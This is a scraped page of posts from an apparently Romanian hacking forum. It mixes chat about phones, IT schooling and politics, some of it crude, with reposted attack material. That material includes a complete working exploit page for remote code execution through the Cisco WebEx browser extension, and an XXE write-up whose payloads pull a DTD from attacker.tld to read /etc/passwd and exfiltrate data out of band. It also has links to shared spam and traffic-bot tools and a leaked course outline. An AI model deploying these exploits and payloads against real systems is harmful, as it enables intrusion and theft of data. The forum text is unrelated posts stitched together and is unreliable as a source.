Leaderboard

Trebuie mers pe premiza "cati studenti la drept devin avocati/procurori/judecatori" Asa si aici, or sa faca ... si eu am facut religia, dar asta nu inseamna ca ma duc la biserica sau ca m-am facut popa

Syllabus Section: Preliminary Skills - Prerequisites Module 1 : Introduction Module 2 : Networking Module 3 : Web Applications Module 4 : Penetration Testing Section: Preliminary Skills - Programming Module 1 : C++ Module 2 : Python Section: Penetration Testing Module 1 : Information Gathering Module 2 : Footprinting & Scanning Module 3 : Vulnerability Assessment Module 4 : Web Attacks Module 5 : System Attacks Module 6 : Network Attacks Invitatie: https://www.elearnsecurity.com/affiliate/redeem?code=RYW-AIK

Te vaieti ca o pizda. Daca esti bun te doare in 14 de restul. Daca esti lipitoare normal ca stai cu frica in san ca vine altul mai breaz. Daca te uiti putin la evrei cum investesc in tineri si tehnologie, in educatia si disciplina lor, in start-up-urile lor, etc. vezi cum se pisa cu stropi pe Rro. Te uiti si la patente in plm. In 2015 Ro a avut 74 in comparatie cu Israel: 3804. Apoi din restul anilor per total: Romania 483, Israel 35900. Asta doar ca exemplu ca sa crape unii anti-semiti de pe aici. Dar te uiti si la alte natii din Asia si vezi acelasi lucru.

Nu ai ce sa iei la banii aia. Decat sa iei o panarama la 500 lei si dupa sa regreti androidu ... mai bine mai strange 200 lei si iti iei un telefon bun pe care nu o sa-l regreti: Nexus 5X.

http://www.digi24.ro/stiri/actualitate/educatie/informatica-devine-materie-obligatorie-pentru-gimnaziu-665463 muie plozilor, vor sa faca piata IT PLINA, muie. bag pula-n prunci.

Eu pe toate siturile folosesc certificatele de la Cloudlfare. Sunt pe moca si sunt si trusted. Le recomand

Asa e, atrage, dar si jocurile atrag si totusi uite ca nu toti fac performanta e discutabila treaba. Cat smartphonurile/tabletele si miniclipu e la putere eu zic sa nu ne facem probleme

da dar totusi IT e un domeniu care atrage, poate captiva usor orice copil. nu imi e mie ca-mi fura locul de munca, cand o sa se angajeze ei eu ma pensionez

Si se face o pula, stai calm Frate-miu a facut cica "c++" anu asta.Le-a prezentat ide-ul, si gata. Cei drept, am facut si eu putin pascal in generala, dar ne-a dat acelasi tip de probleme tot anul.

<!-- Cisco's WebEx extension (jlhmfgmfgeifomenelglieieghnjghma) has ~20M active users, and is part of Cisco's popular web conferencing software. The extension works on any URL that contains the magic pattern "cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html", which can be extracted from the extensions manifest. Note that the pattern can occur in an iframe, so there is not necessarily any user-visible indication of what is happening, visiting any website would be enough. The extension uses nativeMessaging, so this magic string is enough for any website to execute arbitrary code (!!). The protocol the extension uses is complicated, using CustomEvent() objects to pass JSON messages between the webpage, the extension and the native code. Stepping through an initialization, a website must first request that the extension open a port for communication, like this: document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }})); // token can be any string Then messages can passed to native code via "message" events. Note that these cannot be MessageEvent() objects, and you cannot use the postMessage API, they have to be CustomEvent() objects. There are a few different message types, such as "hello", "disconnect", etc. The most interesting is "launch_meeting": document.dispatchEvent(new CustomEvent("message", { detail: { message: JSON.stringify(msg), message_type: "launch_meeting", timestamp: (new Date()).toUTCString(), token: "token" } })); I stepped through a meeting and dumped the initialization messages: > message.message "{"DocshowVersion": "1.0", "FilterSecParameters": "clientparam;clientparam_value", "GpcProductRoot": "WebEx", "GpcMovingInSubdir": "Wanta", "GpcProductVersion": "T30_MC", "GpcUpgradeManagement": "false", "GpcCompatibleDesktopClients": "", "enableQuickLaunch": "1", "GpcProductDescription": "V2ViRXg=", "GpcUnpackName": "atgpcdec", "JMTSignificantFileList": "atgpcext.dll;atmccli.dll;comui.dll;webexmgr.dll;plugin-config.xml;atmgr.exe;ieatgpc.dll;atkbctl.dll;atwbxui15.dll;atcarmcl.dll;attp.dll;atarm.dll;wbxcrypt.dll;mmssl32.dll;libeay32.dll;ssleay32.dll;atmemmgr.dll;wcldll.dll;uilibres.dll;pfwres.dll;wbxtrace.dll;mcres.dll;atresec.dll;atrestc.dll;mfs.dll;mutilpd.dll;wseclient.dll;mticket.dll;wsertp.dll", "jmtclicklog": "1484862376664", "GpcExtName": "atgpcext", "GpcUnpackVersion": "27, 17, 2016, 501", "GpcExtVersion": "3015, 0, 2016, 1117", "GpcUrlRoot": "https://join-test.webex.com/client/WBXclient-T30L10NSP15EP1-10007/webex/self", "GpcComponentName": "YXRtY2NsaS5ETEw=", "GpcCompressMethod": "7z", "GpcActiveIniSection": "V2ViRXhfVg==", "GpcSupportPageUrl": "", "GpcIniFileName": "Z3BjLnBocD9wbW9kdWxlcz0lN0NNQ19TVEQlN0NDaGF0JTdDUG9sbGluZyU3Q05vdGUlN0NWaWRlb1NoYXJlJTdDV2ViZXhfUkElN0NBUyU3Q1BEJk9TPVZUJnJlcGxhY2VLZXk9VklTVEElN0NTU0YmTE49JmJhc2ljbmFtZT1XZWJFeF9WJk9TX0JpdD0zMg== ... There are a huge number of properties, many are obviously good candidates for code execution, but these jumped out at me: "GpcComponentName": "YXRtY2NsaS5ETEw=", "GpcInitCall": "c3pDb29raWU9SW5pdENvbnRyb2woJUhXTkQpO05hbWVWYWx1ZShMb2dnaW5nVVJMX05hbWUsTG9nZ2luZ1VSTCk7TmFtZVZhbHVlKE1lZXRpbmdJRF9OYW1lLE1lZXRpbmdJRCk7TmFtZVZhbHVlKFNlc3Npb25JRF9OYW1lLFNlc3Npb25JRCk7TmFtZVZhbHVlKEdwY0luaUZpbGVOYW1lX05hbWUsR3BjSW5pRmlsZU5hbWUpO05hbWVWYWx1ZShHcGNVcmxSb290X05hbWUsR3BjVXJsUm9vdCk7TmFtZVZhbHVlKEdwY0V4dFZlcnNpb25fTmFtZSxHcGNFeHRWZXJzaW9uKTtOYW1lVmFsdWUoR3BjVW5wYWNrVmVyc2lvbl9OYW1lLEdwY1VucGFja1ZlcnNpb24pO05hbWVWYWx1ZShHcGNQcm9kdWN0Um9vdF9OYW1lLEdwY1Byb2R1Y3RSb290KTtOYW1lVmFsdWUobG9jYWxyb290c2VjdGlvbnZlcl9OYW1lLGxvY2Fscm9vdHNlY3Rpb252ZXIpO05hbWVWYWx1ZShSZWdUeXBlX05hbWUsUmVnVHlwZSk7TmFtZVZhbHVlKEdwY1Byb2dyZXNzQmFyVGl0bGVfTmFtZSxHcGNQcm9ncmVzc0JhclRpdGxlKTtOYW1lVmFsdWUoR3BjTWVzc2FnZVRpdGxlX05hbWUsR3BjTWVzc2FnZVRpdGxlKTtOYW1lVmFsdWUoZG93bmxvYWRsb2NhbHNldHRpbmdfTmFtZSxkb3dubG9hZGxvY2Fsc2V0dGluZyk7TmFtZVZhbHVlKHByb2R1Y3RuYW1lX05hbWUscHJvZHVjdG5hbWUpO05hbWVWYWx1ZShTRlN1cHBvcnRpbmdfTmFtZSxTRlN1cHBvcnRpbmdfVmFsdWUpO05hbWVWYWx1ZShNZWV0aW5nUmFuZG9tX05hbWUsTWVldGluZ1JhbmRvbSk7TmFtZVZhbHVlKGNsaWVudHBhcmFtX05hbWUsY2xpZW50cGFyYW1fVmFsdWUpO0ZpbmlzaENhbGwoc3pDb29raWUpOw==", If we decode those strings, we get: GpcComponentName: "atmccli.DLL" GpcInitCall: "szCookie=InitControl(%HWND);NameValue(LoggingURL_Name,LoggingURL);NameValue(MeetingID_Name,MeetingID);NameValue(SessionID_Name,SessionID);NameValue(GpcIniFileName_Name,GpcIniFileName);NameValue(GpcUrlRoot_Name,GpcUrlRoot);NameValue(GpcExtVersion_Name,GpcExtVersion);NameValue(GpcUnpackVersion_Name,GpcUnpackVersion);NameValue(GpcProductRoot_Name,GpcProductRoot);NameValue(localrootsectionver_Name,localrootsectionver);NameValue(RegType_Name,RegType);NameValue(GpcProgressBarTitle_Name,GpcProgressBarTitle);NameValue(GpcMessageTitle_Name,GpcMessageTitle);NameValue(downloadlocalsetting_Name,downloadlocalsetting);NameValue(productname_Name,productname);NameValue(SFSupporting_Name,SFSupporting_Value);NameValue(MeetingRandom_Name,MeetingRandom);NameValue(clientparam_Name,clientparam_Value);FinishCall(szCookie);" That looks like some sort of weird scripting language. The presence of `HWND` suggests this is interacting with native code, and if I dump the exports of atmccli.DLL: $ dumpbin /nologo /exports atmccli.dll Dump of file atmccli.dll ordinal hint RVA name 2 2 0001CC11 ExitControl 24 3 0001CC83 FinishCall 1 4 0001D2F9 InitControl <-- 23 5 0001D556 NameValue ... These exports look like the functions being called in that scripting language. Is it possible it's calling those exports? I noticed that they ship a copy of the CRT (Microsoft's C Runtime, containing standard routines like printf, malloc, etc), so I tried calling the standard _wsystem() routime (like system(), but for WCHAR strings), like this: var msg = { GpcProductRoot: "WebEx", GpcMovingInSubdir: "Wanta", GpcProductVersion: "T30_MC", GpcUnpackName: "atgpcdec", GpcExtName: "atgpcext", GpcUnpackVersion: "27, 17, 2016, 501", GpcExtVersion: "3015, 0, 2016, 1117", GpcUrlRoot: "http://127.0.0.1/", GpcComponentName: btoa("MSVCR100.DLL"), GpcSuppressInstallation: btoa("True"), GpcFullPage: "True", GpcInitCall: btoa("_wsystem(ExploitShellCommand);"), ExploitShellCommand: btoa("calc.exe"), } Unbelievably, that worked. Example exploit attached. I uploaded a demo here for testing (this URL is secret) https://lock.cmpxchg8b.com/ieXohz9t/ (You can make sure WebEx is installed and working first by going here. You don't need to register, just enter any name and email) https://www.webex.com/test-meeting.html --> <html> <head> <title>Cisco WebEx Exploit</title> <script> var msg = { GpcProductRoot: "WebEx", GpcMovingInSubdir: "Wanta", GpcProductVersion: "T30_MC", GpcUnpackName: "atgpcdec", GpcExtName: "atgpcext", GpcUnpackVersion: "27, 17, 2016, 501", GpcExtVersion: "3015, 0, 2016, 1117", GpcUrlRoot: "http://127.0.0.1/", GpcComponentName: btoa("MSVCR100.DLL"), GpcSuppressInstallation: btoa("True"), GpcFullPage: "True", GpcInitCall: btoa("_wsystem(ExploitShellCommand);"), ExploitShellCommand: btoa("calc.exe"), } function runcode() { if (!document.location.pathname.endsWith("cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html")) { alert("document /must/ be named cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html"); return; } if (!document.location.protocol.endsWith("https:")) { alert("document /must/ be served over https"); return; } document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }})); document.dispatchEvent(new CustomEvent("message", { detail: { message: JSON.stringify(msg), message_type: "launch_meeting", timestamp: (new Date()).toUTCString(), token: "token" } })); } </script> </head> <body onload="runcode()"> <h1>Running exploit...</h1> </body> </html> Sursa: https://www.exploit-db.com/exploits/41148/.

La bani aia cu specificatiile alea iti pot recomanda un moto G4 (il am si eu) niste oferte de pe internet: https://www.olx.ro/oferta/lenovo-moto-g4-motorola-g4-nou-sigilat-ID7SBWZ.html#6a2db1e0c2 Specificatii copy paste de pe gsmarena: NETWORK Technology GSM / CDMA / HSPA / LTE LAUNCH Announced 2016, May Status Available. Released 2016, May BODY Dimensions 153 x 76.6 x 9.8 mm (6.02 x 3.02 x 0.39 in) Weight 155 g (5.47 oz) SIM Dual SIM (Micro-SIM, dual stand-by) DISPLAY Type IPS LCD capacitive touchscreen, 16M colors Size 5.5 inches (~71.2% screen-to-body ratio) Resolution 1080 x 1920 pixels (~401 ppi pixel density) Multitouch Yes Protection Corning Gorilla Glass 3 PLATFORM OS Android OS, v6.0.1 (Marshmallow), planned upgrade to v7.0 (Nougat) Chipset Qualcomm MSM8952 Snapdragon 617 CPU Octa-core (4x1.5 GHz Cortex-A53 & 4x1.2 GHz Cortex-A53) GPU Adreno 405 MEMORY Card slot microSD, up to 256 GB (dedicated slot) Internal 16/32 GB, 2 GB RAM CAMERA Primary 13 MP, f/2.0, autofocus, dual-LED (dual tone) flash, check quality Features Geo-tagging, touch focus, face detection, panorama, auto-HDR Video 1080p@30fps, HDR, check quality Secondary 5 MP, f/2.2, auto-HDR SOUND Alert types Vibration; MP3, WAV ringtones Loudspeaker Yes 3.5mm jack Yes - Active noise cancellation with dedicated mic COMMS WLAN Wi-Fi 802.11 a/b/g/n, dual-band, WiFi Direct, hotspot Bluetooth v4.1, A2DP, LE GPS Yes, with A-GPS, GLONASS, BDS Radio FM radio USB microUSB v2.0, USB Host FEATURES Sensors Accelerometer, gyro Messaging SMS(threaded view), MMS, Email, Push Email, IM Browser HTML5 Java No - Fast battery charging - MP3/AAC+/WAV/Flac player - MP4/H.264 player - Photo/video editor - Document viewer BATTERY Non-removable Li-Ion 3000 mAh battery MISC Colors Black, White

Acum 2 saptamani nu stia ce e ala meta charset si acum face bypass-uri, tataia e interesat de un bypass ca e cu inima E facut copy paste de pe alt site; nici macar nu te-ai chinuit sa traduci

https://transfer.sh/KZc52/facebookautomation.rar https://transfer.sh/J4Txm/gatherproxy.rar https://transfer.sh/mhcYX/visitormaker.rar Enjoy

Facebook Poster & Scheduler 6.2 I-am facut update dar are aceiasi problema cand posteaza mesaje apare si link-ul acela catre site-ul lor in rest nu are restrictie. GatherProxy 8.9 Visitor Maker 1.3 Daca le doreste cineva le voi posta.

Visul oricui, 500 ron, minim 16 gb memorie interna, baterie buna, calitate, design. Presupun ca vrei si android 7, nu? Tu in 500 ron, cred ca vrei baterie de 3A, 16gb interna, display fhd, sigur vrei si 2gb ram, de preferat un quadcore 2.5/ octa 1.3, dar stai...probabil pentru ce vrei tu ar trebui sa-ti inmultesti de 2/3 ori suma.

nici tu nu te crezi, mai ales la bypass pentru icloud.

In this article I present some thoughts about generic detection of XML eXternal Entity (XXE) vulnerabilities during manual pentests supplemented with some level of automated tests. The ideas in this blog post (derived from experiences of several typical and untypical XXE detections during blackbox pentests) can easily be transformed into a generic approach to fit into web vulnerability scanners and their extensions. This is done by demonstrating an example of where service endpoints that are used in a non-XML fashion can eventually be accessed with XML as input format too, opening the attack surface for XXE attacks. At the time of writing this article I've started to develop a Burp Extension ("Generic XXE Detector") and will eventually also transform it into a ZAP extension, letting this kind of detection approach make its way into these scanners - if I find the time to complete that. XXE detection in service endpoints During blackbox pentesting one often gets in front of some service endpoints (mostly REST based ones used from within single-page apps in browsers). These RESTful endpoints often offer JSON as transport format, but many server-side development frameworks (like JAX-RS for Java based RESTful services) make it very easy for developers to offer also an XML based data exchange format for input and/or output out-of-the-box. If such alternative formats exist, they can easily be triggered using proper Content-Type request header values (like text/xml or application/xml). So the challenge is to find these endpoints which also accept XML as input format, even though the client (webpage) only uses JSON or direct path- or query-params to access the service. To scale this from a manual pentesting trick into a way of automation, the tool to scan for this needs a generic XXE detection approach, which can easily be applied to every URL the active scanner sees in its scope during a pentest. In one very interesting case of an XXE finding inside a Java based service endpoint (during a blackbox pentest) I came across a service endpoint that only had path- and query-params as input source and responded with JSON. Basically it was even a simple GET based service (no POST there). So this didn't really look much like "let's try some XXE Kung-Fu here...". Especially the tools including Burp didn't find any XXE at this spot when actively scanning it (even with thorough scanning configured). But after several manual tries, I managed to squeeze an XXE out of it, since it indeed was a REST service which also accepted XML out-of-the-box. I had to apply several tricks though, in order to get the XXE to work: I tried to convert the request from a GET to a POST in order to also send XML as the request body. Unfortunately POST was not accepted (as the service was only mapped to GET), so I had to stick to GET requests. I removed the query-params as well as path-params from the request URL in order to not let these get picked up by the service. As this was a blackbox pentest, I can only assume that removing the query-params led towards a mode of the service endpoint accepting the input also via other formats (i.e. when automatically mapped from XML input for example). Accessing the service without the used path- and query-params resulted in an error message (no input data available). Even though only GET could be used, I then added the Content-Type: application/xml request header and some non-conforming invalid XML as the request body: This was rewarded with an XML error message, showing that some kind of parsing process picked up the body payload of the GET request, i.e. making it an interesting target to investigate further. Adding the path- and query-params back to the request resulted in a business error message, so that the exploit seems to require to remove them, as they might take precedence over the XML body otherwise. As I then had a way of letting the server parse my XML and received at least replies with some technical error messages from the parser, I tried to use the XXE to exfiltrate some data (like /etc/passwd or just listing of base directory /): As the expected XML format for this kind of service call was not known to me (blackbox assessment), I had to use a more generic approach, which works even without placing the entity reference in the proper XML element. Also (as tested afterwards) when the server got the XML as expected, it didn't return any dynamic response, so only the technical error was echoed back. Of course the great out-of-band (OOB) exfiltration technique by T.Yunusov and A.Osipov would work as a generic approach to exfiltrate content in such a scenario. But since (at least for current Java environments) this kind of URL-based OOB exfiltration only allowed to exfiltrate contents of files consisting of only one line (as CRLFs break the URL to the attacker's server), I managed to combine it with the technical error message the server replied and read the data from there: The idea is to use the trick of passing the data carrying parameter entity itself into another file:/// entity in order to trigger a file-not-found exception on the second file access with the content of the first file as the name of the second file, which was thankfully echoed back completely from the server as a file-not-found exception (so pure OOB exfiltration wasn't required here): Attacker's DTD part applying a file-not-found exception echo trick (hosted on attacker's server at http://attacker.tld/dtd-part): <!ENTITY % three SYSTEM "file:///etc/passwd"> <!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>"> Request (exploiting the XXE like in the regular OOB technique by Yunusov & Osipov): GET /service/ HTTP/1.1 Host: example.com:443 Content-Type: application/xml Content-Length: 161 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" > %one; %two; %four; ]> Response (delivering the data as file-not-found error message): HTTP/1.1 400 Bad Request Server: Apache-Coyote/1.1 Content-Type: text/html Content-Length: 1851 Connection: close javax.xml.bind.UnmarshalException - with linked exception: [java.io.FileNotFoundException: /root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin ... ... ... ... ... ... ... ... ... apache:x:54:54:Apache:/var/www:/sbin/nologin (No such file or directory)] Using this file-not-found exception echo trick to read the data not only solved the "one line only" exfiltration problem, it also lifted some restrictions that existed with XXE exploitations when used directly inside the XML elements: Contents of files that contain XML special meta chars (like < or >) would break the XML structure. This is no longer a problem with the above mentioned trick. After that all worked pretty well, I discovered that Ivan Novikov has recently blogged about some pure OOB techniques that even exfiltrate data under Java 1.7+ using the ftp:// scheme and a customized FTP server. This would have worked in the above mentioned scenario as well - even when the server does not return technical error messages, as it is a pure OOB exfiltration trick. As a small side note: This file-not-found exception echo trick might also be used as an XSS in some cases by trying to echo <script>alert(1)</script> as the filename. Often these technical error messages might not be properly escaped when echoed back, compared to situations where non-error-messages originating from regular XML element input will be reflected. But this XSS is rather difficult to exploit in real scenarios, since it would not be easy to trigger the desired request from a victim's browser – if not even impossible depending on the http method (in this example a strange GET with request body). Automating this as a scanning approach Finding such an XXE vulnerability in a service endpoint using only manual pentesting tricks (as the scanners didn't detect it) made me think of a generic approach that is capable of detecting such a vulnerability automatically. Basically the scanning technique should try this on every (in-scope) request it sees, even when the request in question does not contain any XML data (as in the scenario of the RESTful service above that used mainly JSON). So here are the ideas I came up with (which I will also prototype as a Burp and/or ZAP extension soon). The scanner should perform the following steps on every request it is allowed to scan actively. This should be done in addition to any regular XXE detections the scanner already has in place. The following technique is just intended to detect scenarios like the above mentioned: Issue the request with original path- and/or query-params and with the http POST method as well as its original http method (even GET) and place a generic DTD based payload in the request body that directly references the parameter entity, like the following: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "file:///some-non-existing.file" > %xxe; ]>. Don't forget to add the Content-Type: application/xml header to the request (also try with text/xml as well). If the response contains an error like the following (effectively echoing the filename back in some kind of file-not-found message), flag it as potential XXE: javax.xml.bind.UnmarshalException - with linked exception: [java.io.FileNotFoundException: /some-non-existing.file (No such file or directory)] You can also compare the response content of the previous step of accessing a non-existing file with accessing a valid existing file like /etc/passwd. This might catch some differences between the error responses of non-existing files vs. existing files that do not contain valid content to place inside the DTD. If it is also possible to echo in the file-not-found exception message some <script>alert(1)</script> as the filename, flag it as XSS too, but one that is difficult to exploit (and depending on the http method required eventually impossible to exploit). If the steps above didn't trigger an XXE condition, try to remove the original request's query-params and try the above steps again. Finally try to strip each path-param as well (just in case the service is picking this up also and then does not try to access input from the XML body instead) and retry step one. If the steps above didn't trigger an XXE condition, try to use the well-known OOB techniques (see the referenced links above for more details regarding these cool tricks): Use a payload like the following (still having the Content-Type header set to application/xml): <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM"http://attacker.tld/xxe/ReqNo" > %xxe; ]>, where ReqNo is replaced by a unique number for every request scanned. This unique number is required (when parsing the attacker's webserver logs) to correlate log entries with the scanned requests that should then be flagged as XXE candidates. The best results would be gained if the scanner offers some kind of drop-in where (at the end of the pentesting assignment) the observed webserver logs (of the attacker's webserver) can be given to the scanning engine for checking against the issued OOB request numbers for matches. If the steps above didn't trigger an XXE condition (eventually because the server cannot access the attacker's webserver), try to use established DNS-based OOB exfiltration techniques, where part of the domain name contains the XXE request number ReqNo from the previous step, like in the following payload: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM"http://ReqNo.xxe.attacker.tld" > %xxe; ]>. That way at least the DNS resolution to the attacker's domain via its DNS server might be used to trigger the XXE match when after the pentest the logs of the DNS server are parsed by the scanner to correlate them with the scanned requests. If the steps above didn't trigger an XXE condition, we have to go completely blind only on sidechannels like timing measurements: This could be done by checking various internally reachable ports while measuring the response time of the payload <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:80" > %xxe; ]> versus the response time of <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:9876" > %xxe; ]> Similar checks can be performed with file:/// URLs by accessing small vs. big files. When being a risky scanner, you can try to measure the increase in response time when accessing /dev/zero as the file (eventually killing the thread on the server). Also a risky scanner can try to measure the processing time of nested (non-external) expansions like in the "billion laughs attack". Note that in the above scenarios the concrete XML format does not need to be known to the scanner, so it can easily apply this scanning technique on requests even when they haven't used any XML during passive observations. All XML payloads are completely self-contained within the DTD section. The idea is to issue this kind of scan on every request to automatically identify places where service endpoints or alike also offer to be accessed using XML, as is the case with some RESTful development frameworks. Some of the XML DTD payloads above (those using the OOB requests to detect XXE either by inspecting the attacker's webserver logs or measuring the timing differences) can even be shortened to a pure external DTD approach like this: <!DOCTYPE test SYSTEM "http://attacker.tld/xxe/ReqNo"> or <!DOCTYPE test SYSTEM "file:///dev/zero">. But the longer tests presented above give more confidence to the XXE finding, since the shorter version only validates that external DTDs and not entities can be loaded. Conclusion As a Pentester Watch out for any service-like endpoints in the application to pentest and try to force them to accept XML, even when the usage of these endpoints from within the application utilizes other kinds of input formats (like query- or path-params or JSON post bodies). In a lucky case where the endpoint is also configured to accept XML, try to further exploit this as an XXE condition. As a Scanner Vendor Try to incorporate ideas like the steps presented in this article into your scanning engines augmenting them with automated parsing of log files to ease generic XXE detection with OOB techniques, even when scanning large attack surfaces (and make the attacker's exfiltration URL configurable). Source :

http://thehackernews.tradepub.com/free/w_wile229/prgm.cgi?a=1 https://mega.nz/#!w1twHIYK!vCxN4nTn8To-3SrIr8QozVBWX6J3qkQaeskWHE7EvMs

Coaie, invata sa dai si tu "Remove format" data viitoare cand mai copiezi ceva. Tie iti place cum arata? Iti place o pula.

In legatura cu studentii, FACETI-VA FLOTANT! http://www.digi24.ro/opinii/cum-puteti-sa-va-faceti-rapid-viza-de-flotant-pentru-a-vota-la-alegerile-din-decembrie-618212 Ups prea tarziu. Totusi nu dati vina pe alti cand si voi sunteti la fel de vinovati! Cine crede ca oamenii se manipuleaza/conving de pe o zi pe alta se insala. Manipularea se face sublim fara ca subiectul sa realizeze ca ideile ii sunt induse de actiunile sau vorbele cuiva. In cateva cuvinte va zic unde a gresit PSD-ul si cum a actionat Iohannis. 1. Au gresit cand au tinut ascunsa nominalizarea primului ministru vreo saptamana si au lasat loc de discutie prin mass media cum ca ar forta punerea lui Dragnea care este condamnat si totodata incalca legea. 2. Nominalizeaza o femeie de religie musulmana cu probleme privind afinitatea catre guvernul actual din Siria. Nici nu puteau propune ceva mai rau, Iohannis avea motiv sa o refuze si a facut-o. Refuzand-o ne intoarcem din nou la discutia Dragnea posibil premier care trage in jos Guvernul actual. 3. Iohannis a tras de timp, de la intalniri informale cu partidele (neconstitutionale din punctul de vedere al PSD-ului) in perioada de timp al punctului 1 cand avea doar de castigat, la amanarea de decizi si alte piedici. Se adeveresc astfel spusele lui Tariceanu. 4. Iohannis a mers "peste ei" la Guvern, sincer am dubii in privinta modului in care a aflat ce vrea sa faca PSD, in incercarea de a oprii OUG. PRESEDINTELE II MARELE SALVATOR. Asta sa intamplat in 18 ianurie si duminica 22 Marele Salvator merge la primele proteste mai serioase. 5. Cireasa de pe tort a PSD-ului ii clar ordonanta data in miez de noapte, foarte ciudata decizie din moment ce avea sanse infime de reusita/sa nu fie observata. Aici ne putem intreba daca nu cumva exista si un razboi de putere chiar in interiorul PSD-ului care sa fi fost implicat direct in acest esec al lui Dragnea la sefia partidului. Am urmatoarele intrebari Au iesit studentii in strada pentru ca nu au putut vota si acuma zic ca ii facatura PSD-ista??? Au iesit oamenii de la multinationale si IT pentru ca erau direct afectati de Guvernul PSD??? Daca raspunsul este DA aveti in fata masa de oamenii care pot fi incurajati sa iasa in strada si interesant ca sunt tot aceasi oamenii de pe facebook cu care Iohannis a castigat alegerile si l-au demis pe Ponta (plus minus cativa din alte grupe sociale).Posturile TV si-au pierdut din credibilitatea asa ca social media ii the way to go. La proteste au mers oamenii si pentru ca era la moda, cool, fun sau pentru a se bate, astfel numarul de protestatarii nu mai este chiar asa de reprezentativ cu ideea principala. Am uitat sa adaug la subpuncte momentul cand Iohannis a adus in discutie referendumul chiar in zilele libere de 23-24 ianuarie. O idee simpla si sublima cum ca poporul ar fi cel care trebuie sa decida. La cat de euforici au fost cei de la PSD bineinteles ca au iesit cu o declaratie de presa de tot cacatul. Se vede foarte clar intentia presedintele de a lupta impotriva PSD-ului chiar din primele momente de la pierderea alegerilor. Cine zice ca tot tam-tamul asta nu ii un razboi politic se insala. Nu ii poporul contra PSD, ii Iohannis plus poporul care sa alaturat mai tarziu contra PSD. Sincer PSD-ul merita din plin sa piarda guvernarea dar nu doar din cazua OUG si nu fortati doar de vointa poporului asa cum cred uni. Se vor mai scrie multe articole, postari pe facebook si oamneii iesiti in strada pana se va termina acest razboi.

Daca dadeai un traceroute, nu mai era nevoie de intrebare. Omu' a luat la OVH un server - reutilizat. https://m41.imgup.net/le_serveur8221.png

https://community.skype.com/t5/Security-Privacy-Trust-and/Virus-hijacking-Skype-to-send-out-web-page-links/td-p/4256327 https://community.skype.com/t5/Security-Privacy-Trust-and/Spoofed-message-from-contact/m-p/4267278#M56727

Nici furtul nu mai e gratis...

Telefonul care il vrei tu inca nu a fost inventat pentru bugetul tau. Ce iti recomand, e sa mai strangi alocatia pana la paste si poate reusesti sa iti iei ceva ok.

Nu e nimeni care ma poate ajuta PLS:D?

Ti-am pus si sursa copilu' .

Hello RST ... This book about "AWE" Advanced Windows Exploitation V1.1 Offensive Security #----------------------# Table of Contents #----------------------# Module 0x00 Introduction _ Module 0x01 Egghunters _ Lab Objectives _ Overview _ Exercise 1-1 MS08-067 Vulnerability _ MS08-067 Case Study: Crashing the Service _ MS08-067 Case Study: Finding the Right Offset _ MS08-067 Case Study: From PoC to Exploit _ Controlling the Execution Flow _ Getting our Remote Shell _ Wrapping Up Module 0x02 Bypassing NX _ Lab Objectives _ A Note from the Authors - Overview _ Hardware-Enforcement and the NX Bit _ Hardware-Enforced DEP Bypassing Theory Part I _ Hardware-Enforced DEP Bypassing Theory Part II _ Hardware-Enforced DEP on Windows 2003 Server SP2 _ MS08-067 Case Study: Testing NX Protection _ Exercise _ MS08-067 Case Study: Approaching the NX Problem _ MS08-067 Case Study: Memory Space Scanning _ MS08-067 Case Study: Defeating NX _ Exercise _ MS08-067 Case Study: Returning into our Buffer _ Exercise _ Wrapping Up Module 0x02 (Update) Bypassing DEP AlwaysOn Policy _ Lab Objectives _ Overview _ Ret2Lib Attacks and Their Evolution _ Return Oriented Programming Exploitation _ Immunity Debugger’s API and findroppy _ Exercise _ ASLR _ PHP 60 Dev Case Study: The Crash _ PHP 60 Dev Case Study: The ROP Approach _ PHP 60 Dev Case Study: Preparing the Battlefield _ Exercise _ PHP 60 Dev Case Study: Crafting the ROP Payload _ Steps 1 and 2 _ Steps 3 and 4 _ Step 5 _ PHP 60 Dev Case Study: Getting our Shell _ Exercise _ Deplib: Gadgets on Steroids _ Classification _ Searching the Database _ Stack Pivoting _ Wrapping Up Module 0x03 Custom Shellcode Creation _ Lab Objectives _ Overview _ System Calls and “The Windows Problem” _ Talking to the Kernel _ Finding kernel32dll: PEB Method _ Exercise _ Resolving Symbols: Export Directory Table Method _ Working with the Export Names Array _ Computing Function Names Hashes _ Fetching Function's VMA _ MessageBox Shellcode _ Exercise _ Position Independent Shellcode (PIC) _ Exercise _ Shellcode in a Real Exploit _ Exercise _ Wrapping Up Module 0x04 Venetian Shellcode _ Lab Objectives _ Overview _ The Unicode Problem _ The Venetian Blinds Method _ Exercise _ DivX Player 66 Case Study: Crashing the Application _ Exercise _ DivX Player 66 Case Study: Controlling the Execution Flow _ Exercise _ DivX Player 66 Case Study: The Unicode Payload Builder _ DivX Player 66 Case Study: Getting our Shell _ Exercise Module 0x05 Kernel Drivers Exploitation _ Lab Objectives _ Overview _ Windows I/O System and Device Drivers _ Communicating with drivers _ I/O Control Codes _ Privilege Levels and Ring0 Payloads _ Staging R3 Payloads from Kernel Space _ Case Study Payloads _ Case Study Payload (1): Token Stealing _ Case Study payload (2): MSR Hooking _ Function Pointer Overwrites _ avast! Case Study: Kernel Memory Corruption _ avast! Case Study: Way Down in ring0 Land _ Exercise _ avast! Case Study: Bypassing Device Driver Checks _ Exercise _ avast! Case Study: EIP Hunting _ Exercise _ avast! Case Study: Elevation (1) _ Exercise _ avast! Case Study: Elevation (2) _ Exercise _ Wrapping up Module 0x06 64-bit 